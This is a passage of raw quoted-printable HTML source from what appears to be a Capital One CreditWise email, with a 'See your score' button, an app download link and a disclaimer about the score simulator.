l; COLOR: rgb(44,54,58); FONT-SIZE: 14px; FONT-WEIGHT: 400; WORD-SPACING: 0=
px; text-decoration-color: initial; font-variant-ligatures: normal; font-va=
riant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickne=
ss: initial; text-decoration-style: initial"=20
class=3Dv1darkmode border=3D0 cellSpacing=3D0 cellPadding=3D0 width=3D"100%=
" bgColor=3D#ffffff>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 32px; LINE-HEIGHT: 0; =
PADDING-LEFT: 0px; PADDING-RIGHT: 0px; FONT-SIZE: 0px; PADDING-TOP: 0px">&n=
bsp;</TD></TR></TBODY></TABLE>
<TABLE style=3D"BOX-SIZING: border-box; TEXT-ALIGN: left; WIDOWS: 2; TEXT-T=
RANSFORM: none; FONT-STYLE: normal; BORDER-COLLAPSE: collapse; FONT-FAMILY:=
 Roboto, sans-serif; WHITE-SPACE: normal; ORPHANS: 2; LETTER-SPACING: norma=
l; COLOR: rgb(44,54,58); FONT-SIZE: 14px; FONT-WEIGHT: 400; WORD-SPACING: 0=
px; text-decoration-color: initial; font-variant-ligatures: normal; font-va=
riant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickne=
ss: initial; text-decoration-style: initial"=20
class=3Dv1darkmode border=3D0 cellSpacing=3D0 cellPadding=3D0 width=3D"100%=
" bgColor=3D#ffffff>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; TEXT-ALIGN: center; PADDING-BOTTOM: 24=
px; PADDING-LEFT: 24px; PADDING-RIGHT: 24px; PADDING-TOP: 0px">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse; border-r=
adius: 4px" class=3Dv1cssbutton border=3D0 cellSpacing=3D0 cellPadding=3D0 =
bgColor=3D#0276b1 align=3Dcenter>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; TEXT-ALIGN: center; LINE-HEIGHT: 30px"=
 class=3Dv1cssbutton width=3D300>
<A style=3D"BOX-SIZING: border-box; BACKGROUND-COLOR: transparent; WIDTH: 3=
00px; DISPLAY: inline-block; FONT: 20px/30px Optimist, 'Helvetica Neue', He=
lvetica, Arial, sans-serif; COLOR: rgb(0,172,255); TEXT-DECORATION: none" h=
ref=3D"https://click-notification.capitalone.com/f/a/btqChL8Ssn-mhXAsB8PajA=
~~/AAAAARA~/t1ZQCw9dCuwMM0_LZiYQKxxcElSWaHBg7fa3u5q59MTxVmXylEBCvEIpkHJXFUa=
yo4fHlMObyEbZdyn7p8ViqGkIs5ierCAs5RK7597R_nZlndqcHBgWoK7sF7UOmYpg" rel=3Dno=
referrer target=3D_blank>
<STRONG style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 9px; PADDING-LEFT:=
 16px; PADDING-RIGHT: 16px; DISPLAY: inline-block; COLOR: rgb(255,255,255);=
 FONT-WEIGHT: 400; PADDING-TOP: 9px">See your score</STRONG></A></TD></TR><=
/TBODY></TABLE></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 8px; LINE-HEIGHT: 0; P=
ADDING-LEFT: 0px; PADDING-RIGHT: 0px; FONT-SIZE: 0px; PADDING-TOP: 0px">&nb=
sp;</TD></TR></TBODY></TABLE>
<TABLE style=3D"BOX-SIZING: border-box; TEXT-ALIGN: left; WIDOWS: 2; TEXT-T=
RANSFORM: none; FONT-STYLE: normal; BORDER-COLLAPSE: collapse; FONT-FAMILY:=
 Roboto, sans-serif; WHITE-SPACE: normal; ORPHANS: 2; LETTER-SPACING: norma=
l; COLOR: rgb(44,54,58); FONT-SIZE: 14px; FONT-WEIGHT: 400; WORD-SPACING: 0=
px; text-decoration-color: initial; font-variant-ligatures: normal; font-va=
riant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickne=
ss: initial; text-decoration-style: initial"=20
class=3Dv1darkmode border=3D0 cellSpacing=3D0 cellPadding=3D0 width=3D"100%=
" bgColor=3D#ffffff>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; TEXT-ALIGN: center; PADDING-BOTTOM: 24=
px; LINE-HEIGHT: 24px; PADDING-LEFT: 24px; PADDING-RIGHT: 24px; FONT-FAMILY=
: Optimist, 'Helvetica Neue', Helvetica, Arial, sans-serif; COLOR: rgb(20,2=
0,20); FONT-SIZE: 16px; PADDING-TOP: 0px">
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px"><STRONG style=3D"BOX-SIZIN=
G: border-box; FONT-WEIGHT: bolder">Check your credit score and other key f=
actors with the CreditWise<SPAN>&nbsp;</SPAN></STRONG><STRONG style=3D"BOX-=
SIZING: border-box; FONT-WEIGHT: bolder">app.</STRONG><BR style=3D"BOX-SIZI=
NG: border-box" class=3Dv1softBreak>
<A style=3D"BOX-SIZING: border-box; BACKGROUND-COLOR: transparent; COLOR: r=
gb(2,118,177); TEXT-DECORATION: none" href=3D"https://click-notification.ca=
pitalone.com/f/a/HvtSx29_bB9GtdmFvx1Rfw~~/AAAAARA~/t1ZQCw9dCuwMM0_LZiYQK5Ob=
I6mQuWrU1j60zGhDKY41ykQciADyXC_6tSzP3NRsVw79V_g-Ld1_GF2YO4X_NJRD-MCOI40g1xM=
sqkY77UcCXK99w5s8urR2Zgld4hzU" rel=3Dnoreferrer target=3D_blank><SPAN style=
=3D"BOX-SIZING: border-box; BORDER-BOTTOM: 1px solid; PADDING-BOTTOM: 1px" =
class=3Dv1textLink>
Download the CreditWise mobile app today.</SPAN></A></P></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 8px; LINE-HEIGHT: 0; P=
ADDING-LEFT: 0px; PADDING-RIGHT: 0px; FONT-SIZE: 0px; PADDING-TOP: 0px">&nb=
sp;</TD></TR></TBODY></TABLE>
<TABLE style=3D"BOX-SIZING: border-box; TEXT-ALIGN: left; WIDOWS: 2; TEXT-T=
RANSFORM: none; BACKGROUND-COLOR: rgb(244,244,244); FONT-STYLE: normal; BOR=
DER-COLLAPSE: collapse; FONT-FAMILY: Roboto, sans-serif; WHITE-SPACE: norma=
l; ORPHANS: 2; LETTER-SPACING: normal; COLOR: rgb(44,54,58); FONT-SIZE: 14p=
x; FONT-WEIGHT: 400; WORD-SPACING: 0px; text-decoration-color: initial; fon=
t-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke=
-width: 0px; text-decoration-thickness: initial;=20
text-decoration-style: initial" class=3Dv1footer border=3D0 cellSpacing=3D0=
 cellPadding=3D0 width=3D"100%">
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; TEXT-ALIGN: left; PADDING-BOTTOM: 8px;=
 PADDING-LEFT: 24px; PADDING-RIGHT: 24px; FONT: 10px/16px Optimist, 'Helvet=
ica Neue', Helvetica, Arial, sans-serif; COLOR: rgb(105,105,105); PADDING-T=
OP: 24px">
<H2 style=3D"BOX-SIZING: border-box; LINE-HEIGHT: 16px; MARGIN: 0px 0px 16p=
x; FONT-SIZE: 10px; FONT-WEIGHT: 600">About this message</H2>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px">The CreditWise Si=
mulator provides an estimate of your score change and does not guarantee ho=
w your score may change.<BR style=3D"BOX-SIZING: border-box"><BR style=3D"B=
OX-SIZING: border-box">Web access is needed to use the mobile app. Check wi=
th your service provider for details on specific fees and charges.</P></TD>=
</TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; LINE-HEIGHT: 0; P=
ADDING-LEFT: 24px; PADDING-RIGHT: 24px; HEIGHT: 1px; FONT-SIZE: 0px; PADDIN=
G-TOP: 0px">
<DIV style=3D"BOX-SIZING: border-box; BORDER-BOTTOM: rgb(125,125,125) 1px s=
olid">&nbsp;</DIV></TD></TR></TBODY></TABLE>
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whether you have sufficient credit history to generate a FICO Score 8. Some=
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